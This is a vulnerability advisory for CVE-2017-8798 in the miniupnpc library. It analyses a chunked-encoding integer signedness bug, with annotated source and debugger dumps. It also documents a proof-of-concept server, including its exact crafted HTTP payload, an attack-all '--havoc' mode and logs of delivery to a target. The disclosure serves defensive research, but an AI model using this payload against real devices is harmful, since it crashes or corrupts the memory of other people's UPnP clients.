1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1101 1102 1103 1104 1105 1106 1107 1108 1109 1110 1111 1112 |
VuNote ====== Author: <github.com/tintinweb> Ref:https://github.com/tintinweb/pub/tree/master/pocs/cve-2017-8798 Version:0.6 Date: May 1st, 2017 Tag:miniupnpc getHTTPResponse chunked encoding integer signedness error Overview -------- Name: miniupnpc Vendor: Thomas Bernard References: * http://miniupnp.free.fr/ [1] Version:v2.0 [2] Latest Version: v2.0.20170421 [2][3] Other Versions: >= v1.4.20101221 [2] (released 21/12/2010; ~6 years ago) Platform(s):cross Technology: c Vuln Classes: CWE-196, CWE-190 Origin: remote Min. Privs.:--- CVE:CVE-2017-8798 Description --------- quote website [1] >UPnP IGD client lightweight library and UPnP IGD daemon >The UPnP protocol is supported by most home adsl/cable routers and Microsoft Windows 2K/XP. The aim of the MiniUPnP project is to bring a free software solution to support the "Internet Gateway Device" part of the protocol. The MediaServer/MediaRenderer UPnP protocol (DLNA) is also becoming very popular but here we are talking about IGD. ReadyMedia (formely known as MiniDLNA) is a UPnP Media Server using some UPnP code from MiniUPnPd. miniupnp is part of many applications and embedded network devices * P2P File Sharing software - e.g. qBittorrent * Network Device Firmware * Blockchain clients - e.g. EthereumCPP, bitcoind and forked coins Summary ------- *TL;DR - one-click crash miniupnpc based applications on your network* #### Integer signedness error in miniupnpc allows remote attackers to cause a denial of service condition via specially crafted HTTP response An integer signedness error was found in miniupnp's <code>miniwget</code> allowing an unauthenticated remote entity typically located on the local network segment to trigger a heap corruption or an access violation in miniupnp's http response parser when processing a specially crafted chunked-encoded response to a request for the xml root description url. To exploit this vulnerability, an attacker only has to provide a chunked-encode HTTP response with a negative chunk length to upnp clients requesting a resource on the attackers webserver. Upnp clients can easily be instructed to request resources on the attackers webserver by answering SSDP discovery request or by issueing SSDP service notifications (low complexity, integral part of the protocol). * remote, unauthenticated, <code>ACCESS_VIOLATION_READ</code> and heap corruption * (confirmed) DoS; (unconfirmed) could also lead to RCE under certain circumstances (multi-threaded?) see attached PoC see proposed patch Details ------- The vulnerable component is a HTTP file download method called miniwget</code> (precisely <code>getHTTPResponse</code>) that fails to properly handle invalid chunked-encoded HTTP responses. The root cause is a bounds check that mistakenly casts an unsigned attacker-provided chunksize to signed int leading to an incorrect decision on the destination heap buffer size when copying data from the server response to an internal buffer. The attacker controls both the size of the internal buffer as well as the number of bytes to copy. In order for this attack to succeed, the number of bytes to copy must be negative. attacker controls: * <code>int content_length * <code>unsigned int chunksize * <code>bytestocopy</code> if <code>(int) chunksize</code> is negative (or at least < <code>n-i</code> ~ 1900 bytes) * length of <code>content_buf</code> if <code>bytestocopy</code> is negative In the end, the attacker controls * <code>realloc(content_buf, content_length) * <code>memcpy(content_buf+x, http_response, chunksize) client (miniupnpc) server (poc.py) | | | | | SSDP:Discovery - M-SEARCH | 1.| --------------------------------------> | | | | SSDP:Reply - Location Header| 2.| <-------------------------------------- | | | | SCPD:GET (Location Header/xxxx.xml) | 3.| --------------------------------------> | | | | SCPD:HTTP chunked-encoded reply | 4.| <-------------------------------------- | | | 1. application performs SSDP discovery via M-SEARCH (multicast, local network segment) 2. poc.py responds with the url to the xml root description requesting the application to navigate to the malicious webserver. 3. application requests xml root description url (taken from reply to M-SEARCH, Location Header) on malicious webserver (poc.py) 4. poc.py responds with a specially crafted http response triggering the heap overwrite in miniupnp #### Source miniwget.c:236</code> [4] *Note:* Inline annotations are prefixed with //#! * A) 1. to 3. is the parsing of the chunksize * B) 4. to 5. integer signedness error * C) 6. integer wrapping * D) 7. to 9. destination buffer size * E) 10. heap overwrite with size in bytestocopy </code><code>c /* content */ if(chunked) //#! 1) transfer-encoding: chunked { int i = 0; while(i < n) { if(chunksize == 0) { /* reading chunk size */ if(chunksize_buf_index == 0) { /* skipping any leading CR LF */ if(i<n && buf[i] == '\r') i++; if(i<n && buf[i] == '\n') i++; } while(i<n && isxdigit(buf[i]) //#! 2) copy hexchars to chunksize_buf && chunksize_buf_index < (sizeof(chunksize_buf)-1)) { chunksize_buf[chunksize_buf_index++] = buf[i]; chunksize_buf[chunksize_buf_index] = '\0'; i++; } while(i<n && buf[i] != '\r' && buf[i] != '\n') i++; /* discarding chunk-extension */ if(i<n && buf[i] == '\r') i++; if(i<n && buf[i] == '\n') { unsigned int j; for(j = 0; j < chunksize_buf_index; j++) {//#! 3) hexint chunksize = atoi(chunksize_buf) if(chunksize_buf[j] >= '0' && chunksize_buf[j] <= '9') chunksize = (chunksize << 4) + (chunksize_buf[j] - '0'); else chunksize = (chunksize << 4) + ((chunksize_buf[j] | 32) - 'a' + 10); } chunksize_buf[0] = '\0'; chunksize_buf_index = 0; i++; } else { /* not finished to get chunksize */ continue; } #ifdef DEBUG printf("chunksize = %u (%x)\n", chunksize, chunksize); #endif if(chunksize == 0) { #ifdef DEBUG printf("end of HTTP content - %d %d\n", i, n); /*printf("'%.*s'\n", n-i, buf+i);*/ #endif goto end_of_stream; } } //#! 4) //#! goal: a) bytestocopy becomes negative due to chunksize being negative //#! b) content_length defines destination buffer size //#! c) overwrite destination heap buffer content_buf[content_length] with bytestocopy bytes from request //#!memcopy(content_buf[content_length], req_body, (unsigned)bytestocopy) //#! bytestocopy = ((int)chunksize < (n - i))?chunksize:(unsigned int)(n - i); //#! 5) boom! - bytestocopy becomes chunksize since chunksize is negative (e.g. -1) if((content_buf_used + bytestocopy) > content_buf_len)//#! 6) true, since bytestocopy is negative, wraps unsigned content_buf_used { char * tmp; if(content_length >= (int)(content_buf_used + bytestocopy)) { //#! 7) content_length is attacker controlled. content_buf_len = content_length; //#! 8) we want content_length to define our dst buffer size (e.g. 9000) } else { //#! if we dont hit this, content_buf_len would likely be ~2k content_buf_len = content_buf_used + bytestocopy; } tmp = realloc(content_buf, content_buf_len);//#! 9) realloc to content_length bytes (e.g. 9000) if(tmp == NULL) { /* memory allocation error */ free(content_buf); free(header_buf); *size = -1; return NULL; } content_buf = tmp; } memcpy(content_buf + content_buf_used, buf + i, bytestocopy); //#! 10) boom heap overwrite with bytesttocopy bytes (e.g. (unsigned)-1) to content_length (e.g. 9000) sized buffer content_buf_used += bytestocopy;//#! (also an out of bounds ready since it has not been checked if buf holds enough bytes) i += bytestocopy; chunksize -= bytestocopy; } } </code><code> #### Taint Graph basically all <code>miniwget*</code> and <code>UPNP_*</code> methods. * getHTTPResponse (vulnerable) * miniwget3 * miniwget2 * miniwget * miniwget_getaddr * UPNP_GetIGDFromUrl * UPNP_GetValidIGD * UPnP_selectigd * UPNP_Get* * UPNP_Check* * UPNP_Delete* * UPNP_Update* * UPNP_Add* #### Scenarios The PoC can be configured for three scenarios: ##### 1) SCENARIO_CRASH_LARGE_MEMCPY Similar to 3) attempts to smash the heap but likely fails with an ACCESS_VIOLATION_READ</code> when trying to read from an non-accessible memory region. (gdb) up #10x000000000040862c in getHTTPResponse (s=s@entry=3, size=size@entry=0x7fffffffd77c, status_code=status_code@entry=0x0) at miniwget.c:305 305 memcpy(content_buf + content_buf_used, buf + i, bytestocopy); (gdb) i lo i = 30 buf = "f\r\n<xml>BOOM</xml>\r\n80000000\r\n", 'A' <repeats 2018 times> n = 1954 endofheaders = 94 chunked = 1 content_length = 9041 chunksize = 2147483648 bytestocopy = 2147483648 //#! <--- nr of bytes to copy from buf header_buf = 0x60f010 "HTTP/1.1 200 OK\r\nTransfer-Encoding: chunked\r\nContent-Length: 9041\r\nContent-Type: text/html\r\n\r\nf\r\n<xml>BOOM</xml>\r\n80000000\r\n", 'A' <repeats 76 times>... header_buf_len = 2048 header_buf_used = <optimized out> content_buf = 0x60f820 "<xml>BOOM</xml>", 'A' <repeats 16 times> content_buf_len = 9041 //#! <--- dst buffer size content_buf_used = 15 chunksize_buf = "\000\060\060\060\060\060\060\060\000\313\377\377\377\177\000\000\200\277@\000\000\000\000\000\233\277@\000\000\000\000" chunksize_buf_index = 0 reason_phrase = 0x0 reason_phrase_len = 0 ##### 2) SCENARIO_CRASH_REALLOC_NULLPTR Miniupnp v1.8 was missing an error check for <code>realloc</code> which can be used to cause a DoS condition when making <code>realloc</code> fail while allocating a large chunk of data. When <code>realloc</code> fails - because the requested size of memory cannot be allocated - it returns a nullptr</code>. Miniupnp ~1.8 was missing a check for the <code>nullptr and tried to <code>memcpy</code> bytes from the attackers http response to that <code>nullptr</code> which fails with an <code>ACCESS_VIOLATION</code>. To achieve this scenario one must provide an arbitrarily large content_length</code> (e.g. <code>0x7fffffff</code> likely fails on 32 bits) and make <code>memcpy</code> attempt to copy a byte to that location. ##### 3) SCENARIO_CRASH_1_BYTE_BUFFER The idea is to create a small heap buffer and overwrite it with a large chunk of data. This can be achieved by making instructing miniupnp to <code>realloc</code> <code>content_buf</code> to a size of <code>1 byte</code> by providing a <code>content-length</code> of <code>1</code>. To overwrite this 1 byte buffer the attacker provides a negative chunksize e.g. 0x80000000</code>. Depending on the implementation of <code>memcpy</code> and the memory layout <code>memcpy</code> will either fail with a ACCESS_VIOLATION_READ</code> as we're only providing <= 2048 bytes with the server response and will most certainly hit a non-accessible memory region while copying <code>0x80000000</code> bytes or the application crashes because of a heap corruption. Discussion: It could maybe possible for an upnp thread to corrupt the heap, overwriting structures used by another thread to cause code execution even before the application crashes when accessing a non-accesible memory region. Here's an example of <code>miniupnpc</code> corrupting the heap when compiled for 32 bit platforms. ⺠0x80504de <getHTTPResponse+1912>call memcpy@plt<0x8048a20> dest: 0x805981f ââ 0x0//#! <--- size 1 - attacker controlled content_buf src: 0xffffb77e ââ 0x41414141 ('AAAA')//#! <--- attacker controlled http response n: 0x80000000 //#! <--- attacker controlled (must be negative) bytestocopy pwndbg> i lo i = 30 buf = "f\r\n<xml>BOOM</x"... n = <optimized out> endofheaders = 91 chunked = 1 content_length = 1 chunksize = 2147483648 bytestocopy = 2147483648//#! <--- nr of bytes to copy from buf header_buf = 0x8059008 "HTTP/1.1 200 OK"... header_buf_len = 2048 header_buf_used = <optimized out> content_buf = 0x8059810 "<xml>BOOM</x\351\a\002" content_buf_len = 1 //#! <--- destination, realloc'd to 1 content_buf_used = 15 chunksize_buf = "\000\060\060\060\060\060\060\060\000\267\377\377p12"... chunksize_buf_index = <optimized out> reason_phrase = 0x0 reason_phrase_len = 0 //#! ### before memcpy pwndbg> hexdump content_buf 100 +0000 0x80598103c 78 6d 6c3e 42 4f 4f4d 3c 2f 78e9 07 02 00â<xmlâ>BOOâM</xâ....â +0010 0x805982000 00 00 0000 00 00 0000 00 00 0000 00 00 00â....â....â....â....â ... +0060 0x805987000 00 00 00 â....ââââ +0064 0x8059874 //#! ### after memcpy pwndbg> hexdump content_buf 100 +0000 0x80598103c 78 6d 6c3e 42 4f 4f4d 3c 2f 78e9 07 02 41â<xmlâ>BOOâM</xâ...Aâ +0010 0x805982041 41 41 4141 41 41 4141 41 41 4141 41 41 41âAAAAâAAAAâAAAAâAAAAâ ... +0060 0x805987041 41 41 41 âAAAAââââ +0064 0x8059874 #### Impact analysis: * DoS - providing an overly large <code>content_length</code> may cause <code>realloc to fail and return a <code>nullptr</code>. subsequently crashing due to <code>memcpy trying to copy to <code>nullptr</code>. Has been <code>fixed > v1.8</code>. * DoS / potential RCE - providing a correct <code>content_length</code> wont cause realloc</code> to fail and <code>memcpy</code> will go on copying a large block of data to <code>content_buf</code>. Potential for RCE in multithreaded environments with threads sharing the heap e.g. main thread doing things while upnp thread overwrites large portions of the heap. may result in random crashes but might allow to corrupt neighboring heap chunks in a way to gain code exec. * DoS - providing <code>0x7fffffff</code> to content_length may fail due to <code>realloc not being able to allocate >2 GB heap space on certain platforms. If that would succeed, an attacker could try to write <code>1+x</code> bytes past the reallocation when providing a chunksize of <code>0x80000000+x</code>. However, the attacker is not able to provide http response chunks >2048 bytes due to miniupnp reading responses in chunks of max 2048 therefore rendering a RCE scenario impossible turning it into a DoS condition with due to ACCESS_VIOLATION_READ</code>. Proof of Concept ---------------- Prerequisites: * any software that compiles with <code>miniupnpc</code> or calls miniwget.c::miniwget()</code> - e.g. bitcoind (with -upnp) * <code>poc.py</code>, python 2.7, tested on windows and linux (disable firewall or allow inbound tcp:65000, udp:1900) Usage: </code><code>c usage: poc.py [options] example: poc.py --listen <your_local_ip>:65000 [--havoc | --target <ip> [<ip>..]] optional arguments: -h, --helpshow this help message and exit -q, --quiet be quiet [default: False] -l LISTEN, --listen LISTEN local httpserver listen ip:port. Note: 0.0.0.0:<port> is not allowed. This ip is being used in the SSDP response Location header. -u USN, --usn USN Unique Service Name. -t [TARGET [TARGET ...]], --target [TARGET [TARGET ...]] Specify a list of client-ips to attack. Use --havoc to attempt to crash all clients. -z, --havoc Attempt to attack all clients connecting to our http server. Use at your own risk. </code><code> run PoC * local listen ip:port for the malicious web server: 192.168.2.104:65000 (your ip) * only attempt to crash client 192.168.2.113 (use --havoc instead of --target to disable whitelist) </code><code>python #> poc.py --listen <your_local_ip>:65000 --target 192.168.2.113 [poc.py - main() ][INFO] _______ _____ _____ _____ / |/ ||||_| | |_|___ ________ ___ ___ ___ / // / ||| __| | | | __| _ _ _ | | . || | . |_| -_| |_/|_/|_____|__||_|___|__| |_|_|_||_|_|___||_|_|_|___|_| |___ //github.com/tintinweb [mode]filter (targeting ['192.168.2.113']) [listen]192.168.2.104:65000 (local http server listening ip) [usn ]uuid:deadface-dead-dead-dead-cafebabed00d::upnp:rootdevice [poc.py - main() ][ DEBUG] spawning webserver: <BadHttpServer bind=('192.168.2.104', 65000)> [poc.py - __init__() ][ DEBUG] [SSDP] bind: 0.0.0.0:1900 [poc.py - listen() ][INFO] [HTTP] bind 192.168.2.104:65000 [poc.py - __init__() ][ DEBUG] [SSDP] add membership: UDP/239.255.255.250 [poc.py -register_callback() ][ DEBUG] [SSDP] add callback for 'M-SEARCH' : <function handle_msearch at 0x027B9270> [poc.py - listen() ][INFO] [HTTP] waiting for connection [poc.py -register_callback() ][ DEBUG] [SSDP] add callback for 'NOTIFY' : <function handle_notify at 0x027B9330> [poc.py - listen() ][ DEBUG] [SSDP] listening... [poc.py - listen() ][INFO] [] connection from: ('192.168.2.113', 43810) [poc.py - listen() ][ DEBUG] GET /xxxx.xml HTTP/1.1 Host: 192.168.2.104:65000 Connection: Close User-Agent: CentOS/7.2.1511, UPnP/1.1, MiniUPnPc/2.0 [poc.py - send() ][ DEBUG] HTTP/1.1 200 OK Transfer-Encoding: chunked Content-Length: 9041 Content-Type: text/html f <xml>BOOM</xml> 80000000 AAAAAAAAAAAAAAAA... //#! Repeated 9k times. 3 bye 0 [poc.py - send() ][ WARNING] [----->] BOOM! payload delivered! - [to:('192.168.2.113', 43810)] <HttpLikeMessage msg=('HTTP/1.1', '200', 'OK') header={'Transfer-Encoding': 'chunked', 'Content-Length': 9041, 'Content-Type': 'text/html'} body='f\r\n<xml>BOOM</xml>\r\n80000000\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA